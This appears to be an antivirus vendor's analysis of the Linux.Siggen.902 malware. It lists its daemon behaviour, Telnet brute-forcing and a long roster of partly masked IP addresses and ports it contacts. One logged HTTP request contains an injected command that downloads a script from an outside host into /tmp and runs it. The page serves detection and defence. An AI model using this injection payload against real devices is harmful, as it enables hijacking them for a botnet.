Linux.Siggen.902

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

be0fj453nmk5dfe5kb4ha2cglajk

Network activity:

Awaits incoming connections on ports:

127.0.0.1:1822

Establishes connection:

8.#.8.8:53
21#.##7.32.62:3284
10#.###.50.170:52869
21#.#.121.119:80
21#.##7.155.108:80

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.###.##.#########.#######=aa%20aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

19#.##7.16.34:37215
21#.##.11.44:8080
21#.##.100.47:80
17.##.75.44:52869
58.##.100.47:52869
14#.###.208.255:52869
19#.##0.63.34:37215
15#.##.95.136:37215
19#.###.162.47:37215
41.###.94.213:37215
21#.##5.210.255:80
21#.#9.62.44:80
21#.##3.202.32:80
19#.##8.50.3:37215
19#.###.253.170:37215
15#.##.2.175:37215
15#.###.193.48:37215
19#.##5.33.60:37215
89.##.124.44:52869
1.###.93.37:52869
24.###.180.123:52869
21#.###.203.208:52869
21#.##1.246.107:80
21#.#2.9.194:80
21#.##.114.112:80
21#.##8.147.129:80
21#.##2.168.223:80
10#.###.178.112:52869
21#.#.209.129:52869
43.##.44.217:52869
20#.##.167.84:52869
96.###.248.46:52869
41.##.205.193:37215
19#.##6.191.6:37215
41.###.169.243:37215
19#.##5.2.59:37215
41.##.209.149:37215
21#.##.255.235:8080
21#.##6.243.80:80
21#.##1.58.10:80
21#.##1.1.177:80
15#.###.61.184:52869
16#.##.190.219:52869
14#.##.107.218:52869
2.###.131.142:52869
52.###.55.218:52869
19#.#.0.122:37215
15#.##.55.139:37215
15#.###.165.166:37215
19#.##.218.166:37215
19#.##.23.34:37215
21#.##.24.156:80
21#.##.44.245:80
21#.##.66.135:80
21#.##1.188.141:80
21#.##0.68.50:80
17#.##.203.99:52869
58.###.27.98:52869
49.###.68.6:52869
63.##.69.99:52869
41.##.245.209:37215
41.###.211.154:37215
15#.##.199.170:37215
15#.##6.54.1:37215
41.###.28.52:37215
17#.###.100.61:52869
76.##.200.120:52869
16#.##.2.176:52869
21#.##.86.5:52869
22#.###.221.78:52869
21#.##.209.74:80
21#.##7.199.90:8080
21#.##3.169.76:80
21#.##1.214.92:80
41.###.120.218:37215
41.###.134.165:37215
19#.###.101.63:37215
19#.###.30.252:37215
21#.##8.8.255:80
21#.##2.140.75:80
21#.##0.128.205:80
21#.##0.134.237:80
15#.###.52.251:52869
17#.###.146.41:52869
20.###.113.35:52869
12.##.53.200:52869
15#.##.143.167:52869
19#.###.61.115:37215
41.###.155.17:37215
15#.###.84.108:37215
15#.#.110.102:37215
15#.###.30.118:37215
21#.#5.52.99:80
21#.#1.26.30:80
21#.##7.151.54:80
21#.##.194.33:8080
17#.##.136.67:52869
10#.###.131.22:52869
19#.###.156.149:52869
12#.###.108.99:52869
12#.##.126.2:52869
41.###.77.24:37215
15#.###.247.96:37215
19#.##.229.126:37215
19#.###.137.178:37215
19#.###.212.98:37215
21#.##7.41.244:80
21#.#3.43.77:80
21#.##2.5.106:80
13.###.1.155:52869
10#.###.250.105:52869
35.##.122.164:52869
21#.##.25.60:52869
19#.###.140.203:37215
15#.###.182.75:37215
15#.###.138.161:37215
21#.##1.205.120:80
15#.###.220.210:52869
19.###.65.7:52869
15#.###.90.126:37215
41.###.178.218:37215
41.##.242.18:37215
19#.##.228.218:37215
21#.##.104.186:80
21#.##.102.158:80
21#.##.159.36:80
13#.##.238.90:52869
20#.###.33.247:52869
19#.##.151.250:52869
41.##.65.254:37215
41.###.203.63:37215
41.##.7.73:37215
21#.##7.198.195:80
21#.##.160.113:8080
21#.##.150.184:80
17#.##.166.155:52869
66.##.202.16:52869
20.###.59.162:52869
15#.###.187.24:37215
41.###.93.131:37215
19#.##.181.91:37215
19#.###.130.91:37215
21#.##1.18.238:80
21#.##.253.237:80
21#.##9.128.240:80
96.##.33.54:52869
15#.#.72.3:52869
14#.##.103.18:52869
21#.###.106.63:52869
21#.##7.237.123:80
21#.##7.132.226:80
21#.##.101.82:80
21#.##3.92.177:80
41.##.248.199:37215
41.###.89.87:37215
15#.###.160.146:37215
41.###.201.183:37215
83.##.68.107:52869
17#.##2.74.1:52869
13#.##8.99.92:52869
10#.###.235.221:52869
10#.###.50.170:52869
21#.##.201.43:80
21#.###.137.136:8080
21#.##7.97.18:80
21#.##9.243.244:80
41.#.#60.71:37215
19#.###.86.239:37215
19#.###.154.218:37215
15#.###.123.39:37215
9.##.#91.88:52869
18#.###.98.215:52869
19#.###.18.195:52869
13.###.20.126:52869
21#.#35.2.38:80
21#.##6.79.64:80
21#.##9.62.92:80
15#.###.94.102:37215
41.##.242.136:37215
15#.###.76.107:37215
10#.##.61.93:52869
8.##.#2.215:52869
13#.##.82.167:52869
21#.##5.216.25:80
21#.##4.125.69:80
21#.##4.213.10:80
72.###.117.146:52869
19#.##.14.42:52869
18#.###.168.134:52869
41.##.150.244:37215
41.##.98.200:37215
19#.##7.232.3:37215
15#.###.163.145:37215
19#.###.230.226:37215
21#.##2.110.26:80
21#.##.39.33:8080
21#.##5.198.69:80
21#.##6.157.238:80
13#.##0.22.19:52869
49.###.102.249:52869
90.##.144.239:52869
74.#.#2.197:52869
13.###.155.114:52869
32.##.120.198:52869
18#.###.236.146:52869
16#.##.195.73:52869
21#.##.152.65:80
21#.##.140.94:80
21#.##7.174.163:80
21#.##2.197.235:80
21#.##.179.29:80
41.###.181.105:37215
15#.##.93.236:37215
15#.###.148.136:37215
15#.###.22.248:37215
21#.##.109.243:52869
74.###.8.26:52869
13#.###.22.180:52869
82.###.240.16:52869
11#.###.63.228:52869
15#.##8.43.53:37215
41.##.151.0:37215
15#.###.242.211:37215
21#.##.134.21:80
21#.##.232.87:80
21#.##.73.246:8080
21#.##8.146.147:80
21#.##7.12.84:80
41.##.27.135:37215
41.###.206.65:37215
15#.##1.180.3:37215
41.###.203.250:37215
74.###.106.6:52869
76.###.197.129:52869
25.###.54.102:52869
34.##.154.212:52869
12#.##.218.95:52869
21#.#.125.186:80
21#.##2.87.157:80
21#.##.193.45:80
21#.##.164.25:80
19#.###.133.125:37215
15#.###.143.163:37215
15#.##.136.10:37215
41.###.229.101:37215
41.##.100.230:37215
22#.###.27.242:52869
85.###.101.213:52869
20#.##.160.225:52869
21#.#.86.169:52869
14#.#.48.94:52869
21#.##.181.125:80
21#.##9.192.74:80
21#.##5.188.211:80
21#.##0.166.37:8080
21#.##1.183.150:80
15#.###.101.222:37215
15#.##.128.69:37215
41.###.237.88:37215
41.###.115.134:37215
19#.##.143.199:37215
22#.##.136.19:52869
17#.##.9.157:52869
19#.##.142.22:52869
16#.##9.72.18:52869
67.###.157.14:52869
21#.##1.206.208:80
21#.##.181.237:80
21#.##7.211.105:80
21#.#8.43.93:80
21#.##9.152.243:80
15#.###.65.139:37215
15#.##.221.157:37215
41.###.248.34:37215
15#.##.170.138:37215
17#.##.10.125:52869
11#.###.137.253:52869
19#.###.34.138:52869
11#.##3.73.58:52869
14#.##6.64.8:52869
21#.##9.13.159:80
21#.##.50.182:80
21#.##.64.128:80
21#.###.225.107:8080
21#.#8.4.134:80
19#.##1.160.8:37215
19#.##0.96.92:37215
19#.##.73.65:37215
15#.##.164.171:37215
15#.##.208.25:37215
21#.##5.4.108:80
21#.##5.128.17:80
21#.#2.70.10:80
21#.##.29.228:80
93.###.67.104:52869
13#.##.203.46:52869
93.##.178.226:52869
14#.###.181.170:52869
91.###.254.144:52869
41.##.159.155:37215
15#.###.203.75:37215
19#.##.105.35:37215
41.###.254.141:37215
19#.##.178.244:37215
21#.##.124.95:80
21#.##5.132.71:80
21#.##0.40.159:80
21#.##.189.97:80
21#.##.63.128:8080
41.##.77.86:37215
21#.##2.133.224:80
21#.##9.94.35:80
21#.##.194.32:80
21#.##4.145.130:80
13#.##7.1.166:52869
21#.##.93.81:52869
13#.##4.92.16:52869
12#.##.72.43:52869
81.###.133.196:52869
15#.###.170.12:37215
41.#.#4.32:37215
41.###.184.219:37215
15#.###.218.186:37215
15#.##.76.219:37215
20#.###.182.142:52869
17#.###.85.223:52869
40.###.116.8:52869
13#.##.173.190:52869
14#.##.85.144:52869
21#.##.17.197:80
21#.##5.178.145:80
21#.##9.106.21:80
21#.##3.37.252:80
21#.##2.51.180:80
19#.##.207.98:37215
41.###.115.200:37215
19#.###.88.130:37215
41.###.181.149:37215
41.##.176.21:37215
16#.##.25.107:52869
9.###.19.23:52869
94.###.13.182:52869
13.##.113.67:52869
63.###.176.206:52869
21#.##.152.177:8080
21#.##8.159.122:80
21#.##9.133.245:80
21#.##.186.129:80
21#.##9.226.122:80
19#.###.26.109:37215
15#.##.49.60:37215
16#.##.74.253:52869
40.##.52.32:52869
17#.##.196.59:52869
10#.##.178.77:52869
72.##.65.237:52869
41.##.3.96:37215
19#.##.252.11:37215
41.###.239.101:37215
19#.##9.123.7:37215
15#.##.229.146:37215
21#.##8.84.10:80
21#.##6.190.98:80
21#.##1.96.190:80
21#.##.42.131:80
45.##.45.43:52869
18#.##.50.131:52869
96.###.6.102:52869
64.##.66.52:52869
14#.##.2.30:52869
15#.##.172.32:37215
19#.###.193.157:37215
15#.###.115.143:37215
41.###.122.11:37215
15#.###.130.248:37215
21#.##.157.240:80
21#.###.129.100:8080
21#.##.193.94:80
21#.#.173.205:80
21#.##.70.248:80
17#.###.68.192:52869
22#.###.86.223:52869
17#.###.120.233:52869
18#.##.220.85:52869
97.##.77.123:52869
41.##.125.107:37215
15#.###.207.205:37215
19#.###.195.27:37215
15#.###.105.239:37215
19#.##.40.155:37215
21#.##1.166.181:80
21#.##5.197.216:80
21#.##5.47.112:80
21#.##5.138.65:80
21#.##0.22.225:80
21#.##.94.172:80
42.##.9.231:52869
91.#.#51.34:52869
61.###.108.164:52869
14#.###.119.127:52869
20#.##.247.4:52869
10#.###.189.227:52869
41.##.5.132:37215
15#.##3.150.4:37215
15#.###.255.171:37215
41.###.111.198:37215
19#.###.201.46:37215
21#.###.111.103:8080
21#.##2.238.197:80
21#.##0.108.12:80
21#.##.208.228:80
21#.##9.53.181:80
21#.##9.203.167:80
16#.###.70.217:52869
17#.###.55.228:52869
15#.##.78.57:52869
13#.###.184.99:52869
5.###.85.175:52869
21#.##9.148.10:80
21#.##1.235.176:80
21#.##.101.201:80
21#.##6.235.212:80
21#.##0.24.250:8080
41.##.182.225:37215
41.##.31.196:37215
41.###.20.153:37215
19#.##.112.96:37215
15#.##.140.123:37215
21#.##.136.244:52869
17#.##.203.81:52869
18#.##.207.106:52869
37.###.200.132:52869
8.###.225.245:52869
21#.##6.179.98:80
21#.##7.151.239:80
21#.##4.155.47:80
21#.##9.168.102:80
21#.##.170.57:80
41.##.103.177:37215
41.##.124.18:37215
15#.###.246.248:37215
41.###.183.97:37215
15#.##.156.240:37215
16#.###.31.215:52869
15#.###.244.177:52869
16#.##0.35.97:52869
14#.##9.1.118:52869
93.###.132.236:52869
13#.###.120.147:52869
21#.##1.11.122:80
21#.##9.140.105:80
21#.##.235.246:80
21#.##2.29.34:80
21#.##6.166.19:8080
21#.##4.171.205:80
15#.##.172.152:37215
19#.##0.28.61:37215
41.##.88.195:37215
19#.###.105.28:37215
15#.###.34.250:37215
15#.###.89.166:37215
69.###.181.167:52869
72.###.80.123:52869
54.###.160.216:52869
21#.##5.142.42:80
21#.##4.169.19:80
21#.##6.120.176:80
21#.#12.8.1:80
21#.#3.152.9:80
21#.##7.101.193:80
41.###.183.78:37215
41.###.173.51:37215
19#.##.206.177:37215
41.###.154.139:37215
15#.##5.113.3:37215
19#.##.243.239:37215
41.###.191.230:37215
21#.##.73.111:80
21#.#6.30.98:80
21#.##4.230.21:8080
21#.##7.126.201:80
21#.##.239.159:80
21#.#7.0.74:80
21#.##3.106.91:80
21#.##7.228.117:80
21#.##.248.241:80
21#.##9.202.72:80
21#.##8.132.222:80
21#.##.212.168:80
21#.##1.166.9:8080
21#.##2.128.51:80
21#.##.150.202:80
21#.##4.42.79:80
21#.##6.62.90:80
21#.#.145.227:80
21#.##1.154.81:80
21#.##.115.54:80
74.###.195.93:52869
13#.##9.128.9:52869
20#.###.134.85:52869
12#.###.153.235:52869
20#.###.212.151:52869
21#.##3.82.152:80
21#.##8.64.49:80
21#.##.34.14:8080
21#.##5.170.93:80
57.##.49.159:52869
14#.###.214.173:52869
22#.##.226.190:52869
36.###.32.14:52869
21#.#.136.88:80
21#.##.129.229:80
21#.##.68.151:80
21#.##.170.184:80
10#.###.37.240:52869
20#.###.49.164:52869
11#.#.248.15:52869
68.###.46.209:52869
15#.#.52.85:52869
21#.##.191.237:80
21#.##.85.196:80
21#.##8.32.109:80
21#.##3.255.206:80
17.###.240.143:52869
11#.##.236.35:52869
16#.##1.194.9:52869
5.###.136.83:52869
21#.##7.210.77:8080
21#.##.94.160:80
21#.##0.163.183:80
21#.##.251.205:80
16#.###.93.120:52869
17#.##.122.155:52869
13#.###.255.24:52869
21#.##0.81.202:80
21#.##6.139.129:80
21#.##2.194.200:80
14#.#.3.114:52869
22#.###.78.249:52869
21#.#.18.91:80
21#.#.67.21:80
21#.##1.234.217:80
21#.##.208.244:8080
21#.##.72.227:80
12#.##2.89.91:52869
18#.###.215.143:52869
17#.###.79.245:52869
10#.##.172.17:52869
16#.###.170.165:52869
21#.##8.216.59:80
21#.##9.143.80:80
21#.##.102.114:80
21#.#.203.83:80
21#.##3.189.155:80
20#.###.155.179:52869
12#.##.102.15:52869
13#.###.35.158:52869
94.###.123.118:52869
20#.##.86.124:52869
21#.##9.248.144:80
21#.##6.67.139:80
21#.##.211.116:80
21#.##.68.208:8080
21#.##7.181.100:80
21#.##2.132.80:80
15#.##8.74.95:52869
67.###.210.164:52869
12#.###.147.137:52869
21#.##7.29.138:80
21#.##7.171.171:80
20#.###.41.219:52869
20#.###.101.34:52869
21#.##8.21.83:52869
21#.##0.22.187:80
21#.##.214.93:80
21#.##5.17.76:80
16#.###.168.227:52869
13#.###.237.252:52869
39.###.200.98:52869
21#.#68.87.8:80
21#.##.54.220:80
21#.##7.35.8:8080
21#.##9.234.24:80
22#.###.104.78:52869
21#.###.168.22:52869
10#.##.72.174:52869
15#.##.65.136:52869
21#.##.104.140:80
21#.##.30.147:80
21#.##.249.241:80
21#.##5.165.236:80
21#.##7.70.67:80
21#.##5.55.88:80
63.###.252.215:52869
97.##.203.48:52869
10#.###.218.93:52869
74.###.33.63:52869
21#.##3.89.85:80
21#.##7.253.212:80
21#.###.175.129:8080
21#.##.241.175:80
20#.###.238.239:52869
11#.###.147.180:52869
18#.###.62.219:52869
18#.##7.62.34:52869
21#.##0.142.66:80
21#.##.167.136:80
21#.##.191.168:80
21#.##6.12.225:80
21#.#8.2.57:80
90.##.46.139:52869
16#.###.105.75:52869
10#.###.86.230:52869
15#.###.144.14:52869
21#.##7.160.205:80
21#.##.197.70:80
21#.#.121.119:80
21#.##4.131.65:8080
89.###.225.18:52869
11#.###.171.153:52869
19#.###.112.104:52869
12#.##.232.26:52869
17#.##.206.111:52869
21#.##.27.242:80
21#.##.152.221:80
21#.##.112.167:80
21#.##9.38.83:80
21#.##.25.162:80
15#.##.46.184:52869
73.###.40.214:52869
18#.###.248.201:52869
25.##.70.115:52869
14#.###.142.248:52869
21#.##6.201.85:80
39.###.4.163:52869
21#.##.51.253:80
12#.###.207.181:52869
18#.###.106.28:52869
21#.##3.144.248:80
21#.##.231.158:80
21#.###.208.108:8080
14#.###.228.251:52869
13#.###.152.113:52869
13#.###.179.111:52869
21#.##2.205.28:80
21#.#.35.203:80
14#.###.189.193:52869
21#.###.86.184:52869
61.#.#53.171:52869
21#.##9.22.238:80
21#.##0.154.235:80
21#.##7.209.248:80
13#.##6.10.43:52869
41.###.207.53:52869
76.###.228.229:52869
21#.#44.18.5:80
21#.##.107.112:80
21#.##3.242.214:80
21#.##.67.254:80
17#.##.50.28:52869
12#.###.152.239:52869
10#.##0.20.69:52869
53.###.53.133:52869
21#.##.26.69:8080
21#.##.104.38:80
21#.##.191.148:80
21#.##2.38.187:80
13#.###.62.211:52869
13#.###.142.191:52869
62.##.126.40:52869
17.###.52.67:52869
21#.##.237.144:80
21#.##4.177.61:80
21#.#.130.88:80
21#.#.150.18:80
10#.##.73.108:52869
17#.###.204.246:52869
10#.###.167.84:52869
39.###.83.141:52869
16#.###.88.226:52869
21#.##6.17.192:80
21#.##8.36.206:80
21#.###.243.183:8080
21#.#7.78.2:80
21#.##9.241.46:80
16#.###.195.53:52869
22#.###.100.51:52869
19#.###.90.190:52869
13#.##.251.27:52869
11#.##6.83.56:52869
21#.##.46.200:80
21#.##.141.39:80
21#.##9.45.127:80
21#.##.90.139:80
21#.##.244.242:80
19#.##.208.110:52869
20#.##.64.18:52869
23.##.167.11:52869
11#.##.148.80:52869
74.###.75.10:52869
21#.##1.209.20:80
21#.##.222.185:80
21#.##.193.228:8080
21#.##2.89.73:80
12#.###.148.230:52869
10#.##5.76.97:52869
32.##.137.6:52869
11#.##6.27.28:52869
17#.##.215.158:52869
21#.##5.113.206:80
21#.##.178.162:80
21#.##9.224.18:80
21#.#4.40.73:80
21#.##.208.105:80
16#.###.108.165:52869
18#.###.30.166:52869
14.#.#71.126:52869
15#.###.199.22:52869
31.###.77.116:52869
21#.##8.194.102:80
21#.##1.22.183:80
21#.#23.13.1:80
21#.##.2.138:8080
21#.#2.46.71:80
24.##.135.157:52869
17.##.116.180:52869
14.###.246.93:52869
11#.##.231.17:52869
21#.##4.96.180:80
21#.##6.86.21:80
21#.##9.167.143:80
21#.##4.147.225:80
21#.##.173.91:80
21#.###.153.17:52869
11#.##.226.148:52869
20#.##.189.41:52869
17.##.32.227:52869
14#.###.238.166:52869
21#.##1.52.138:80
21#.##.201.109:80
21#.##.156.225:80
21#.##2.54.149:8080
21#.##3.176.44:80
14#.##4.1.68:52869
93.###.135.199:52869
65.###.76.110:52869
11#.##5.37.63:52869
14#.##.19.11:52869
21#.#6.97.99:80
21#.##.119.211:80
21#.##0.69.94:80
21#.##0.97.250:80
21#.##6.46.203:80
20#.###.97.101:52869
20#.#.99.209:52869
19#.##.124.108:52869
81.###.48.42:52869
94.###.68.239:52869
21#.##9.219.122:80
21#.##.75.169:80
21#.##.138.223:80
21#.##8.132.74:8080
21#.##7.155.108:80
95.###.226.233:52869
37.###.246.192:52869
50.###.44.200:52869
17#.###.149.121:52869
21#.##8.107.0:80
21#.##.175.181:80
21#.##6.205.247:80
77.##.70.88:52869
18#.##7.104.3:52869
11#.##2.2.148:52869
14#.##.127.143:52869
21#.##.220.206:80
21#.##3.119.94:80
21#.#8.21.67:80
21#.##8.219.3:80
40.###.214.213:52869
27.###.83.31:52869
11#.##.83.131:52869
41.###.148.22:37215
19#.##.168.44:37215
41.##.214.248:37215
41.###.244.214:37215
19#.###.194.133:37215
21#.#9.12.1:80
41.###.7.69:37215
19#.###.40.190:37215
19#.##.250.94:37215
41.###.98.57:37215
19#.###.209.245:37215
16#.##4.49.91:52869
16#.###.25.218:52869
50.##.224.146:52869
50.#.#42.49:52869
15#.###.17.108:37215
19#.##.169.82:37215
41.###.63.238:37215
41.###.192.176:37215
19#.#.18.92:52869
65.##.96.140:52869
20#.##2.79.39:52869
11#.###.229.225:52869
14#.##.13.92:52869
15#.###.98.251:37215
15#.##.74.93:37215
41.##.82.110:37215
19#.##.41.125:37215
37.###.195.143:52869
17#.##1.90.51:52869
16#.###.67.115:52869
17#.##.230.226:52869
18#.###.28.125:52869
15#.###.73.129:37215
19#.##.119.83:37215
19#.##.0.11:37215
13#.##.47.140:52869
11#.###.95.244:52869

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations